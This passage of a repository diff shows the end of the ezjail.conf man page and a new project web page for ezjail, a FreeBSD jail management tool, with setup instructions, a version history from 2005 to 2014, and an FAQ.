59 | .It ezjail_ftphost (str) | ||
60 | This is where the install subcommand defaults to fetch its packages from. | ||
61 | .br | ||
62 | Default: | ||
63 | .Em ftp.freebsd.org . | ||
64 | .It ezjail_archivedir (str) | ||
65 | This is the default archive location for the | ||
66 | .Cm ezjail-admin archive | ||
67 | command. | ||
68 | .br | ||
69 | Default: | ||
70 | .Em ${ezjail_jaildir}/ezjail_archives . | ||
71 | .El | ||
72 | .Sh JAIL ADMIN OPTIONS | ||
73 | .Bl -tag -width option | ||
74 | .It ezjail_default_execute (str) | ||
75 | This is the default command executed in a jail by | ||
76 | .Cm ezjail-admin console . | ||
77 | .br | ||
78 | Default: | ||
79 | .Em /usr/bin/login -f root . | ||
80 | .It ezjail_exec_start (str) | ||
81 | The command to execute in a jail when starting it. | ||
82 | .br | ||
83 | Default: | ||
84 | .Em /bin/sh /etc/rc . | ||
85 | .El | ||
86 | .Sh JAIL CREATION OPTIONS | ||
87 | Default options for newly created jails. Used by the | ||
88 | .Xr ezjail-admin 1 | ||
89 | utility. Be careful about disabling | ||
90 | .Em ezjail_mount_enable . | ||
91 | .Bl -tag -width option | ||
92 | .It ezjail_mount_enable (bool) | ||
93 | Controls whether | ||
94 | .Pa /etc/fstab. Ar hostname | ||
95 | should be executed at jail startup time. | ||
96 | .br | ||
97 | Default: | ||
98 | .Em YES . | ||
99 | .It ezjail_devfs_enable (bool) | ||
100 | Controls whether newly created jails are given a working | ||
101 | .Pa /dev | ||
102 | directory. (Refer to | ||
103 | .Xr devfs 5 | ||
104 | and | ||
105 | .Xr jail 8 | ||
106 | for more information). | ||
107 | .br | ||
108 | Default: | ||
109 | .Em YES . | ||
110 | .It ezjail_devfs_ruleset (str) | ||
111 | Specifies which devfs ruleset should apply for newly created jails. | ||
112 | (Refer to | ||
113 | .Xr devfs 5 | ||
114 | and | ||
115 | .Xr jail 8 | ||
116 | for more information). | ||
117 | .br | ||
118 | Default: | ||
119 | .Em devfsrules_jail . | ||
120 | .It ezjail_procfs_enable (bool) | ||
121 | Controls whether newly created jails are given a working | ||
122 | .Pa /proc | ||
123 | directory. (Refer to | ||
124 | .Xr procfs 5 | ||
125 | and | ||
126 | .Xr jail (8) | ||
127 | for more information). | ||
128 | .br | ||
129 | Default: | ||
130 | .Em YES . | ||
131 | .It ezjail_fdescfs_enable (bool) | ||
132 | Controls whether newly created jails are given a working | ||
133 | .Pa /dev/fd/ | ||
134 | directory. (Refer to | ||
135 | .Xr fdescfs (5) | ||
136 | and | ||
137 | .Xr jail (8) | ||
138 | for more information). | ||
139 | .br | ||
140 | Default: | ||
141 | .Em YES . | ||
142 | .It ezjail_uglyperlhack (bool) | ||
143 | Set to YES, if ezjail should provide a soft link from | ||
144 | .Pa /usr/bin/perl | ||
145 | to | ||
146 | .Pa /usr/local/bin/perl | ||
147 | in base jail. | ||
148 | .br | ||
149 | Default: | ||
150 | .Em YES . | ||
151 | .It ezjail_default_flavour (str) | ||
152 | Controls which flavours should be used for newly created jails if none | ||
153 | are given on the command line. | ||
154 | .br | ||
155 | Default: | ||
156 | .Em none . | ||
157 | .It ezjail_imagetype (one of simple, bde, eli, zfs) | ||
158 | Type of jail to create when creating a jail with the | ||
159 | .Fl i | ||
160 | flag without specifying the type explicitly. | ||
161 | .br | ||
162 | Default: | ||
163 | .Em simple | ||
164 | .El | ||
165 | .Sh ZFS OPTIONS | ||
166 | .Bl -tag -width option | ||
167 | .It ezjail_use_zfs (bool) | ||
168 | Set to YES, if ezjail should manage basejail and newjail in a separate | ||
169 | ZFS-datasets. | ||
170 | .br | ||
171 | Default: | ||
172 | .Em NO . | ||
173 | .It ezjail_use_zfs_for_jails (bool) | ||
174 | Set to YES, if ezjail should manage all new jails in their own | ||
175 | ZFS-datasets. To override that on the command line, use | ||
176 | .Cm ezjail-admin create -c simple | ||
177 | for image based jails or | ||
178 | .Cm ezjail-admin create -c '' | ||
179 | for non-image jails. | ||
180 | .br | ||
181 | Default: | ||
182 | .Em NO . | ||
183 | .It ezjail_jailzfs (str) | ||
184 | The name of the parent ZFS-dataset which ezjail will use to create | ||
185 | jails on. It will be mounted in | ||
186 | .Em ezjail_jaildir . | ||
187 | Setting this will automatically enable ezjail managing jails in separate | ||
188 | ZFS-datasets. | ||
189 | .br | ||
190 | Default: | ||
191 | .Em none . | ||
192 | .It ezjail_zfs_properties (str) | ||
193 | Default properties ZFS will use for creating datasets. See | ||
194 | .Xr zfs 1m | ||
195 | for details. ADVANCED, be very careful! | ||
196 | .br | ||
197 | Default: | ||
198 | .Em none . | ||
199 | .It ezjail_default_retention_policy (str) | ||
200 | Policy for the | ||
201 | .Cm ezjail-admin snapshot | ||
202 | subcommand to keep older snapshots. See | ||
203 | .Xr ezjail-admin 1 | ||
204 | for details. | ||
205 | .br | ||
206 | Default: | ||
207 | .Em none . | ||
208 | .El | ||
209 | .Sh FILES | ||
210 | EZJAIL_PREFIX/etc/ezjail.conf | ||
211 | .br | ||
212 | EZJAIL_PREFIX/etc/rc.d/ezjail.sh | ||
213 | .Sh SEE ALSO | ||
214 | .Xr ezjail-admin 1 , | ||
215 | .Xr ezjail 5 , | ||
216 | .Xr jail 8 , | ||
217 | .Xr devfs 5 , | ||
218 | .Xr fdescfs 5 , | ||
219 | .Xr procfs 5 . | ||
220 | .Sh AUTHOR | ||
221 | Dirk Engling | ||
222 | .Aq erdgeist@erdgeist.org . | ||
223 | .Pp | ||
224 | The man page is based on a draft by | ||
225 | .An JoeB | ||
226 | .Aq joeb1@a1poweruser.com | ||
227 | and was rewritten by | ||
228 | .An Frederic Perrin | ||
229 | .Aq frederic.perrin@resel.fr . | ||
diff --git a/stories/projects/ezjail.rst b/stories/projects/ezjail.rst new file mode 100644 index 0000000..4eb4b65 --- /dev/null +++ b/stories/projects/ezjail.rst | |||
@@ -0,0 +1,412 @@ | |||
1 | .. link: | ||
2 | .. description: is a jail management framework for the FreeBSD operating system, aiming to aid in setting up und updating virtual FreeBSD instances. | ||
3 | .. tags: project | ||
4 | .. date: 2000/02/01 19:10:08 | ||
5 | .. title: ezjail | ||
6 | .. subtitle: Jail administration framework | ||
7 | .. slug: ../arts/software/ezjail/index | ||
8 | .. prio: 900 | ||
9 | |||
10 | .. contents:: | ||
11 | :depth: 1 | ||
12 | :class: ezjail-toc | ||
13 | |||
14 | ---- | ||
15 | |||
16 | News | ||
17 | ==== | ||
18 | |||
19 | .. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg | ||
20 | :align: right | ||
21 | |||
22 | .. post-list:: | ||
23 | :tags: ezjail | ||
24 | :template: list_projectnews.tmpl | ||
25 | :stop: 5 | ||
26 | |||
27 | ---- | ||
28 | |||
29 | Overview | ||
30 | ======== | ||
31 | |||
32 | A `Jail <http://www.freebsd.org/doc/en_US.ISO8859-1/books/arch-handbook/jail.html>`_ in FreeBSD-speak is one or more tasks with the same kernel Jail-ID, bound on zero or more IP addresses, having the same chroot-environment. One usecase of the FreeBSD Jail Subsystem is to provide virtual FreeBSD-systems within a Host-system. ezjail `is about making this as easy as possible <philosophy.html>`_, aiming for minimum system resource usage. All further references to the term Jail are to a virtual FreeBSD-system consisting of a host name, an IP-address and a Jail root. | ||
33 | |||
34 | The jail(8) man page outlines the way to create Jails, however, when you need several Jails, complete Jail Directory Trees quickly use much of your valuable hard disc space. ezjail avoids this by using FreeBSDs nullfs feature. Most of the base system (/bin, /boot, /sbin, /lib, /libexec, /rescue, /usr/{bin, include, lib, libexec, ports, sbin, share, src}) only exists in one copy in the Host-system and is being mounted read only into all Jails via nullfs. Those Jails are quite slim (around 2mb each) and only consist of some soft links into the basejail mount point and non-shared directories like /etc, /usr/local, etc. | ||
35 | |||
36 | The ezjail approach offers lots of advantages: | ||
37 | |||
38 | * You save disc space, inodes and even memory since the system only needs to hold one copy of base system binaries for all Jails | ||
39 | * You can update all Jails on a single base directory, since it is so eazy, you might actually end up doing it | ||
40 | * Intruders compromising Jails are unable to install standard rootkits (as the base system is mounted read only) | ||
41 | * Since ezjail is written entirely in sh, there is no need to install other script languages into the hostsystem | ||
42 | * As the base system is provided via soft links, the enjailed users can choose not to use the mounted world | ||
43 | * ezjail offers full zfs integration and can help you automatize your file system configuration | ||
44 | * An often underestimated fact: less complexity means more security. | ||
45 | |||
46 | ---- | ||
47 | |||
48 | Quick start | ||
49 | =========== | ||
50 | |||
51 | To set up your first very simple ezjail, just install ezjail from ``sysutils/ezjail`` port or via ``pkg_add -r ezjail`` and enable it by setting ``ezjail_enable=YES`` in your in your ``/etc/rc.conf``. Assuming your network interface is em0, just type (as root):: | ||
52 | |||
53 | ezjail-admin install | ||
54 | ezjail-admin create example.com 'em0|10.0.0.2' | ||
55 | ezjail-admin start example.com | ||
56 | |||
57 | and you're done. Get a shell in your new jail with the:: | ||
58 | |||
59 | ezjail-admin console example.com | ||
60 | |||
61 | command. As with any vanilla FreeBSD installation, you might probably need to touch /etc/ and maybe copy your host's /etc/resolv.conf. | ||
62 | |||
63 | ---- | ||
64 | |||
65 | Slow start | ||
66 | ========== | ||
67 | |||
68 | ezjail comes with some sane defaults, but can be configured globally and per jail using the config file /usr/local/etc/ezjail.conf (copy the sample from /usr/local/etc/ezjail.conf.sample) and the per-jail config files under /usr/local/etc/ezjail/ (those are created automatically with the jails and managed by the ezjail-admin config command). | ||
69 | |||
70 | ZFS | ||
71 | --- | ||
72 | |||
73 | ezjail integrates nicely with zfs, ready to manage all jails in its own file system. So if your system has a zpool configured, tell ezjail to use zfs and which zpool to use for its house keeping: | ||
74 | |||
75 | * uncomment the ``ezjail_use_zfs=YES`` | ||
76 | * point the ``ezjail_jailzfs`` variable to a file system that will be created by ezjail-admin install, (e.g. ``tank/ezjail``) | ||
77 | |||
78 | while you're at it, you can tell ezjail to create all future jails in their own file system (which defaults to be a child of ``ezjail_jailzfs``) | ||
79 | |||
80 | * uncomment ``ezjail_use_zfs_for_jails=YES`` | ||
81 | |||
82 | now the commands in the quick start example should set up a zfs hierarchy ready to use all the nifty features of zfs. | ||
83 | |||
84 | Flavours | ||
85 | -------- | ||
86 | |||
87 | ezjail can help you with the otherwise tedious task of decorating the interior of new jails–those come as naked FreeBSD installations by default. A set of files to copy, packages to install and scripts to execute is called "flavour". ezjail comes with an example flavour called "example" that comes pre-tuned for the use in jails, with an appropriate ``rc.conf``, ``make.conf``, ``periodic.conf`` and ``/usr/local/etc/sudoers``. | ||
88 | |||
89 | You are encouraged to copy the flavour and modify the contained script to suit your needs–flavours reside in the directory configured with the ``ezjail_flavours_dir`` variable, which defaults to ``/usr/jails/flavours``. But just calling:: | ||
90 | |||
91 | ezjail-admin create -f example example.com 'em0|10.0.0.2' | ||
92 | |||
93 | |||
94 | should do. Note, that the flavour script is being run the first time the jail starts, so calling:: | ||
95 | |||
96 | ezjail-admin console -f example.com | ||
97 | |||
98 | |||
99 | is a nice idea. You can use the shell to further configure the new jail. | ||
100 | |||
101 | The basejail | ||
102 | ------------ | ||
103 | |||
104 | All jails share a read only mounted copy of the FreeBSD base system, in ezjail this is called basejail. The quick start section gave a glimpse on the most simple way to install just the basics, but no ports tree, no man pages (pre FreeBSD-9) and no sources. You can run the ``ezjail-admin install`` command with the options -P, -M and -S again to install these distribution packages without installing the base system again, or just call ``ezjail-admin install -spm`` from start. ezjail uses the portsnap command to provide (and later update) the ports tree. If you do not want to install the OS version running in the host system, call:: | ||
105 | |||
106 | ezjail-admin install -r 2.2.8-RELEASE | ||
107 | |||
108 | |||
109 | If you want to install your base system from source, use the ``ezjail-admin setup`` command (also called ``ezjail-admin update``); assuming you have already built your world for the host system, you would just call:: | ||
110 | |||
111 | ezjail-admin setup -i | ||
112 | |||
113 | |||
114 | to run a make installworld from your source directory, which defaults to ``/usr/src``. To run a make buildworld before the installworld, call:: | ||
115 | |||
116 | ezjail-admin setup -b | ||
117 | |||
118 | For binary installations, ezjail uses the freebsd-update tool to keep the basejail up to date,:: | ||
119 | |||
120 | ezjail-admin update -u | ||
121 | |||
122 | should do the trick. | ||
123 | |||
124 | Image and crypto jails | ||
125 | ---------------------- | ||
126 | |||
127 | Before the dawn of zfs, simple means to set limits on jails, like quotas, were hard to achieve. ezjail's answer were image jails, file backed "memory" disc images containing an ufs with the jail's content. When geom appeared with the very useful gbde and geli crypto layers for geom, encrypting image jails became possible. ezjail would handle creating and later attaching and detaching those images for you. | ||
128 | |||
129 | Now simple image jails are not as hot anymore and personally I would recommend using geli to encrypt the provider for your zpool to apply proper crypto to all your jails. Still, there may be valid use cases for image jail. Call:: | ||
130 | |||
131 | ezjail-admin create -i -s 2G example.com 10.0.0.2 | ||
132 | |||
133 | to create a two gigabyte md-image with an ufs file system and install the jail inside. To configure the jail without starting it, use the attach and detach subcommands of ``ezjail-admin config``, like this:: | ||
134 | |||
135 | ezjail-admin config -i attach example.com | ||
136 | cd /usr/jails/example.com | ||
137 | # … do your thing … | ||
138 | ezjail-admin config -i detach example.com | ||
139 | |||
140 | Should the file system need some love, e.g. after a spontanous reboot or system crash, call:: | ||
141 | |||
142 | ezjail-admin config -i fsck example.com | ||
143 | |||
144 | to tidy up the mess–it ain't zfs, after all. By default ufs soft updates are enabled, so background fsck should occur for minor wrinkles, when an image jail starts. | ||
145 | |||
146 | To create encrypted image jails, use the -c switch and either pass bde or eli and follow the instructions on screen:: | ||
147 | |||
148 | ezjail-admin create -c eli -i 16G example.com 10.0.0.3 | ||
149 | |||
150 | Note, that ezjail creates image jails by filling them from ``/dev/zero`` or ``/dev/random``, for performance reasons (reduce seeks with this file system inside a file system hack) and for security reasons (do not leak information about which blocks have been written for crypto jails), so creating huge image jails may take a while. Also note, that crypto jails would block the boot process (unless the passphrase is provided via a file or some fetch magic via stdin). So they are being marked as attachblocking and not started during boot time. You need to start them using ``ezjail-admin startcrypto``. | ||
151 | |||
152 | Further reading | ||
153 | --------------- | ||
154 | |||
155 | To get further details about all the options for ezjail-admin and all knobs and bolts, I recommend the excellent man pages: ezjail-admin, an overview over ezjail and the ezjail config file. | ||
156 | |||
157 | ---- | ||
158 | |||
159 | Version History | ||
160 | =============== | ||
161 | |||
162 | Since ezjail is useful under FreeBSD only, you might want to install it from ports ``sysutils/ezjail``. An `ezjail cvsweb (deprecated) </cvsweb/ezjail/>`_ and `ezjail gitweb </gitweb/ezjail/>`_ are available, plus there is a `fresh checkout <ezjail/>`_. The most current version is available via cvs. Use ``git clone git://erdgeist.org/ezjail`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co ezjail`` with an empty passwort to check it out. Just type ``sudo make install`` to install it. Older versions may be found here (checksums in tooltips): | ||
163 | |||
164 | * CURRENT - not packaged yet | ||
165 | * V3.4.1 ezjail-3.4.1.tar.bz2 (2014-06-10) | ||
166 | |||
167 | * Fixed a fatal bug in unfinished parts of the new troubleshoot subcommand | ||
168 | |||
169 | * V3.4 ezjail-3.4.tar.bz2 (2014-06-10) | ||
170 | |||
171 | * Began a troubleshoot subcommand that will in future check for unintuitive reasons for the jails to fail. | ||
172 | * Fixed a bug where Jails configured .norun were reported failing to start with the ezjail-admin start subcommand. Thanks to John Grasty. | ||
173 | * Create /var/ports/packages and /var/ports/distfiles in new jails to reflect custom /etc/make.conf. | ||
174 | * The Makefile now supports staging. | ||
175 | * Implement a test parameter for the ezjail-admin config -r subcommand that reports the runnable state. This can also be used to test for an ezjail's existence. | ||
176 | * Fixed a bug where ezjail-admin would not find jails with jid > 99999. Thanks to Mathieu Arnold. | ||
177 | * Fixed a bug where ezjail-admin delete and ezjail-admin config would not find the zpool the jail was created in. | ||
178 | * Implemented a jail snapshot mechanism for zfs jails with configurable retention policy. | ||
179 | * Fixed a bug where ezjail-admin restore with a path to an archive would not use the correct jail name and thus fail. Thanks to Ollivier Robert. | ||
180 | * V3.3 ezjail-3.3.tar.bz2 (2013-04-20) | ||
181 | |||
182 | * Due to recent circumstances, I added a license file. | ||
183 | * Properly handle ip addresses with prefixed interface names, so they appear readable in the jail list and they will not be checked for on ezjail-admin create. Since FreeBSD 9.0 you can configure ip addresses with interface prefix (e.g. em1|10.0.0.1). This feature of jail(8) is now also documented in the ezjail's man pages. | ||
184 | * Using CVS to update ports was deprecated for a while. FreeBSD does not offer the anoncvs server, anymore. So ezjail_portscvsroot is gone. | ||
185 | * Added a -z option to ezjail-admin create to allow creating zfs jails in a different zpool or under a different zfs parent file system than the one ezjail uses for house keeping. Thanks to Cryx. | ||
186 | * Add the a man page authors section to the man pages. | ||
187 | * Also read and dump jail_JAIL_parameters when changing jail options. Thanks to Виталий Владимирович. | ||
188 | * ezjail-admin update and ezjail-admin upgrade now call freebsd-update install until no more update steps are necessary. Previously upgrades were not installed completely, as freebsd-update uses several passes. | ||
189 | * Now properly support the new distributions layout. | ||
190 | * Do not run chflags -R noschg when deleting image jails. The whole file system is being thrown away, anyway. Thanks to tomster. | ||
191 | * V3.2.3 ezjail-3.2.3.tar.bz2 (2012-09-23) | ||
192 | |||
193 | * Fixed a bug that made ezjail-admin update not find the source tree. Thanks to Paul Macdonald. | ||
194 | * Fixed ezjail-admin console to not start all jails when the -f option is requested. | ||
195 | * V3.2.2 ezjail-3.2.2.tar.bz2 (2012-09-10) | ||
196 | |||
197 | * Jails can now default to being created in zfs, set ezjail_use_zfs_for_jails="YES" in your ezjail.conf to do that. | ||
198 | * Cleaned up the zfs code to ensure the ezjail zfs in a central place. | ||
199 | * V3.2.1 ezjail-3.2.1.tar.bz2 (2012-02-02) | ||
200 | |||
201 | * Fixed ezjail-admin list to work properly without jails. | ||
202 | * A helper script ezjail-clone.sh has been added to the repository that aids in importing whole server setups into an ezjail-system. | ||
203 | * ezjail-admin update now ensures that all files with schg set are also updated. Thanks to Geoffroy Desvernay. | ||
204 | * Fixed the way ezjail-admin create tests for local IP addresses. The old test using ping with a given TTL did not work reliable. Now we use ping and try to use the IP address as source address. | ||
205 | * Fixed a bug where pids not belonging to a Jail were reported as jailed. Thanks to Thomas Steen Rasmussen. | ||
206 | * Fixed a bug in ezjail-admin delete -f where all Jails were stopped, not only the one to be deleted. Tanks to Thomas Steen Rasmussen. | ||
207 | * Fixed a bug in ezjail-admin create that overwrote all flavours scripts with the successor by not counting the flavours correctly. Thanks to Geoffroy Desvernay. | ||
208 | * V3.2 ezjail-3.2.tar.bz2 (2012-01-07) | ||
209 | |||
210 | * The man pages have been completely rewritten and are much easier to understand now. | ||
211 | * Default archive location now is ezjail_archives under ezjail_jaildir. Before it defaulted to the current directory. | ||
212 | * ezjail-admin install now understands FreeBSD's new naming scheme on the release ftp servers. | ||
213 | * /usr/games/ has gone. | ||
214 | * ezjail-admin delete now takes an -f parameter that forces stopping the Jail before deleting it | ||
215 | * The rc.d/ezjail.sh script has been renamed to rc.d/ezjail in accordance to FreeBSD guide lines. | ||
216 | * When using ezjail-admin to start Jails, checks now are properly extended to all versions of the (one|force|...) prefixes. | ||
217 | * When installing the basejail from a server, we now also look in the ftp server's Archive directory. | ||
218 | * The check for already listening services has been augmented to support multiple IPs and v6 addresses. | ||
219 | * Before removing Jails the system immutable flag is now cleared. | ||
220 | * ezjail-admin now collects its Jail list more to the standard. | ||
221 | * Unknow Jail image types now default to directory based. | ||
222 | * Experimental freebsd-upgrade support. | ||
223 | * Fix one misspelling that wrongly reported success for attaching a console to a Jail not running. | ||
224 | * The ezjail rc script now correctly also re-attaches images on restart. | ||
225 | * There now is a Jail name auto completion script for zsh. | ||
226 | * V3.1 ezjail-3.1.tar.bz2 (2010-02-26) | ||
227 | |||
228 | * Introduced support for creating ezjails and the basejail in ZFS file systems. | ||
229 | * Attaching ZFS-datasets to ezjails is now supported. | ||
230 | * Support for cpusets and altered network view for ezjails. | ||
231 | * The ezjail-admin archive command now uses the cpio format for its archives. | ||
232 | * Since FreeBSD 8 does not support rc.d-scripts ending in .sh, the flavourizing script has been renamed accordingly. | ||
233 | * The ezjail-admin list command now supports multiple IP addresses for a jail. | ||
234 | * The ezjail-admin command now returns 0 if no error occurs. | ||
235 | * You can now specify a default flavour in your ezjail.conf that is applied to any new Jail. | ||
236 | * Renamed the default flavour to example to avoid confusion. default flavour was never applied by default. | ||
237 | * ezjail-admin create and ezjail-admin config no longer fail if they can't create a soft link in ezjail_jaildir. They now use mktemp to get a unique one. | ||
238 | * ezjail-admin create now allow multiple flavours to be applied to new jails. They are executed in the order provided with the -f option. | ||
239 | * V3.0 ezjail-3.0.tar.bz2 (2008-09-26) | ||
240 | |||
241 | * Introduced an ezjail-admin restore command that can be used to easily deploy a backed up version of an ezjail's archive. | ||
242 | * Introduced an ezjail-admin archive command that – accompanied by the newly introduced create -a option – can be used to take (automated) backups of your jails and reinstall them. | ||
243 | * Introduced the ezjail-admin console sub command. This will jexec into a Jail identified by its Jail name. It can also bring up non-running jails if run with the -f switch. | ||
244 | * ezjail-admin update does not (re)build the whole world by default, anymore. You have to provide -b (buildworld, installworld), -i (installworld only) or (as a new option) -u to use freebsd-update to update your base jail. | ||
245 | * ezjail-admin now silently proxies everthing that looks like it was meant for ezjail.sh over to ezjail.sh. | ||
246 | * ezjail-admin now reports its version number along with synopsis information. | ||
247 | * ezjail.sh now stops ezjails in reverse startup order. | ||
248 | * ezjail.sh now reports ezjails configured norun as "skipping [jailname]" and blocking as "skipping blocking [jailname]". | ||
249 | * ezjail-admin now find .s its stuff. Using '*' never found dot-files and could have led to a "too many parameters" situation. | ||
250 | * Fixed a bug where image jails would not be run with ezjail.sh restart when not running or would not have their images attached when already running. Thanks to hukl for bug report. | ||
251 | * Fixed the missing lib32 packag on amd64 platforms when doing ezjail-admin install. | ||
252 | * sudo now checks permissions on its sudoers file and stops, if it is not 0440. Fixed ezjails Makefile to install sudoers to default flavour. (However, if you already installed ezjail, you might want to manually chmod 0440 ${ezjail_flavours}/default/usr/local/etc/sudoers and all corresponding sudoers files in all jails.) | ||
253 | * Fixed a bug, where an image Jail was incorrectly reported not attached. | ||
254 | |||
255 | .. class:: closed | ||
256 | |||
257 | * V2.1. ezjail-2.1.tar.bz2 (2007-07-31) | ||
258 | |||
259 | * Introduced a ezjail-admin config -n newname sub command to enable renaming jails. | ||
260 | * Introduced a ezjail-admin config -i fsck sub command to fsck images. | ||
261 | * Use the sendmail_submit_enable, sendmail_outbound_enable and sendmail_msp_queue_enable in the default-flavour rc.conf to allow easier fine-grained control for sendmail. | ||
262 | * ezjail-admin create now ignores .dot-files in directories meant to be Jail roots. That way directories coming fresh from newfs won't be mistaken as used. | ||
263 | * Fixed a bug where portsnap would be called with fetch rather than cron from my ezjail-admin update -P. | ||
264 | * Enable soft updates for image jails. | ||
265 | * Now taking copies of soft linked packages inside jails. They would not be visible. | ||
266 | * Fail, when trying to install or update ezjails world, if in a secure level > 0. Too many bad things happen in secure levels. | ||
267 | * ezjail.sh now also checks for root directory to prevent strange effects in /etc/rc.d/jail. | ||
268 | * Default flavours /etc/periodic.conf now makes all periodic scripts log to files instead of sending mails. Most often this is what you want in your jails. | ||
269 | * Started learning groff and went over man pages. Not many visible changes here. | ||
270 | * V2.0.1 ezjail-2.0.1.tar.bz2 (2006-07-24) | ||
271 | |||
272 | * DESTDIR was ignored for sub targets in an ezjail-admin update -p under certain circumstances. See this report for more details. Thanks go to Simon L. Nielsen. | ||
273 | * Fixed some qoutation/expansion issues with tr parameters in the form [:alnum:] which were expanded to the files : a l n u and m, if existing. Also an apparent bug in tr was circumvented which incorrectly replaced A-Z to a-z in certain LANG settings. Thanks agains to Simon L. Nielsen. | ||
274 | * ezjail_ftphost was ignored when specified in PREFIX/etc/ezjail.conf. Thanks to Edwin Groothuis. | ||
275 | * V2.0 ezjail-2.0.tar.bz2 (2006-05-31) | ||
276 | |||
277 | * The default way to create the basejail will become the newly introduced ezjail-admin install subcommand. In its default configuration the base system is fetched from an ftp-Server. Fetching ports, source, man pages is possible with -p, -s and -m switch. Implementing this feature finally brings the promised ease of use and allows: cd /usr/ports/sysutils/ezjail; make install; ezjail-admin install; ezjail-admin create test.com 10.1.1.1 on a vanilla FreeBSD server, i.e. without installing /usr/src. | ||
278 | * A new concept of how to manage your Jails has been introduced: Image Jails. They come in plain, gbde and geli encrypted. ezjail-admin create, ezjail-admin delete and ezjail.sh have been updated to provide the functionality needed. | ||
279 | * ezjail.sh now provides more information to rcorder which took control over the execution of new style localpkg scripts. These changes in FreeBSD rc scripts led to ezjail.sh not being started under certain circumstances. It will REQUIRE: sshd, making administration on a server running many jails a lot more peaceful. Thanks to Oli. | ||
280 | * When called without specific Jail names (e.g. at system start), ezjail.sh now runs rcorder on its config file list located in PREFIX/etc/ezjail/ before processing them. That way you can manually construct a dependency tree and for example start your name server Jail first and your data base-Jail before your web server Jail. However, some basic knowledge in bourne shell and the rcorder command is required. Beware of circles. | ||
281 | * ezjail-admin create now installs flavours with an unconditional flag. Previously files were not copied, if an "older" version existed. Thanks to Matthias Lederhofer. | ||
282 | * ezjail-admin list has been heavily extended. It now lists Jails in the same order they are being run on system startup. This is to help debugging the dependency tree. It further now also lists jails status (Directory based, Image, BDE crypto image or ELI crypto image) and running state (Running, Attached, Stopped or Norun). Thanks to Bas Dakkenhorst for useful diffs. | ||
283 | * ezjail-admin create now prepends all Jail configs with empty rcorder control statements to make altering the config easier. | ||
284 | * ezjail.sh now excludes Jail configs whose file name contain '.' (dots). This way it is possible to configure a Jail config test_org.norun to temporary exclude it from auto run process. | ||
285 | * ezjail introduces an option ezjail_uglyperlhack (defaults to YES) which creates a soft link from /usr/bin/perl to /usr/local/bin/perl in the base jail. This is useful since perl was expelled from base system in FreeBSD 5 but still many scripts rely on #!/usr/bin/perl. | ||
286 | * /usr/games and /usr/libdata have now become part of the basejail. Someone please kick me for missing that until now. Saves another 100k in newjail. Hopefully I got them all by now ;) Thanks to Vivek Khera. | ||
287 | * V1.3.1 ezjail-1.3.1.tar.bz2 (2006-03-13) | ||
288 | |||
289 | * ezjail.sh did not ignore the jail_list from rc.conf as it should due to a legacy name space clash. This led to no ezjail being started at system startup when some non-ezjail-Jails exist in the system. Thanks to Cryx. | ||
290 | * ezjail-admin now prevents a Jail called fulljail to be created and refines the error message in case the user wants to create basejail, newjail or flavours. | ||
291 | * ezjail-admin now again allows recreating Jails with the -x option. This was broken when introducing the Jail root check in V 1.3. Thanks to Mike Harding. | ||
292 | * An experimental script ezjail-release.sh has been added to CVS which allows creating the basejail from FreeBSD ftp-Server. However, this script has known issues, like updating existing basejail's ports does not remove obsolete files, also there is no documentation. | ||
293 | * V1.3 ezjail-1.3.tar.bz2 (2006-02-16) | ||
294 | |||
295 | * Removed an ugly shell variable quoting bug that led to ezjail.sh fail for multiple jails. Thanks to Alex Moura. PLEASE UPDATE FROM 1.2 as fast as possible. | ||
296 | * ezjail-admin create now checks, whether a given Jail root already exists and refuses to install. Thanks to Mark Bucciarelli for finding this one. | ||
297 | * /boot and /rescue have now become part of the basejail. Someone please kick me for missing that until now. New jails now are < 2 MB in size. | ||
298 | * V1.2 ezjail-1.2.tar.bz2 (2006-02-10) | ||
299 | |||
300 | * A subsystem providing auto configuration on Jail has been created. You may specify flavours at Jail creation. See section Flavours. | ||
301 | * ezjail-admin update now allows cvs co or cvs up of ports in the basejail by providing the -p or -P option. | ||
302 | * /lib and /libexec have now become part of the basejail. Someone please kick me for missing that until now. | ||
303 | * ezjail-admin now allows setup as an alias command to update to reduce confusion. | ||
304 | * ezjail-admin delete now ensures, that the Jail is not running. Deleting running Jails led to panics in several occasions. | ||
305 | * ezjail-admin update now performs several checks to make sure the source tree is really there and complete. | ||
306 | * ezjail-admin create now tests for services listening on the new Jails IP or on all IPs and warns if it finds any. | ||
307 | * ezjail-admin create now replaces any character in Jail name not suitable for shell variables by underscore. This leads to the situation that two jails must not have identical names after them being piped through tr -c [:alnum:] _, thanks go to Gunjin. | ||
308 | * A default installation PREFIX is provided now. Installing to / seems not too useful and should not be default. | ||
309 | * Documentation has been rewritten and simplified a lot. | ||
310 | * V1.1 ezjail-1.1.tar.bz2 (2005-10-26) | ||
311 | |||
312 | * minor typo in ezjail.sh, changed #/bin/sh to #!/bin/sh, thanks go to Alex Samorukov. | ||
313 | * Makefile ensures that all directories are there when installing. Helps with odd $PREFIXes | ||
314 | * ezjail-admin now creates $basejail/usr itself, since cpio creates missing intermediate directories in 0700 which is bad | ||
315 | * ezjail-admin now verifies the existence of its basejail before creating Jails | ||
316 | * V1.0 ezjail-1.0.tar.bz2 (2005-10-14) | ||
317 | |||
318 | * first release | ||
319 | * made FreeBSD port for ezjail | ||
320 | * actually implemented ezjail-admin delete feature | ||
321 | * documentation completed | ||
322 | * lots of bug fixes I can't remember anymore, however V0.1 has never been used by anyone but me | ||
323 | * V0.1 ezjail-0.1.tar.bz2 (2005-09-26) | ||
324 | |||
325 | * highly experimental version | ||
326 | * first real world testing on a server system with >20 jails | ||
327 | * V0.0 - Not packaged (2005-09-04) | ||
328 | |||
329 | * first alpha version | ||
330 | |||
331 | FAQ | ||
332 | === | ||
333 | |||
334 | Q: I have created a Jail but it won't come up when I run /usr/local/etc/rc.d/ezjail start JAILNAME | ||
335 | A: Please check, that the Jail is really "not comming up" by examining the output of the command jls. Unlike the command jail which leaves you with an interactive shell in your Jail, rc.d/ezjail is an rc-script. It is most commonly meant to run at system startup and shutdown where entering an interactive shell would interrupt the boot process. If you want an interactive shell in your Jail after starting it, use the command ezjail-admin console JAILNAME. | ||
336 | |||
337 | A: Please check, that you have enabled ezjail by adding the line ezjail_enable="YES" to rc.conf. | ||
338 | |||
339 | A: Please check, that you have enabled ezjail BEFORE you ran the rc.d/ezjail script the first time. See the rc.d introduction for further details. | ||
340 | |||
341 | A: If this is the case, check the console output in /var/log/jail_JAILNAME_console.log. Most commonly you'll find reasons for your jails startup failure there. | ||
342 | |||
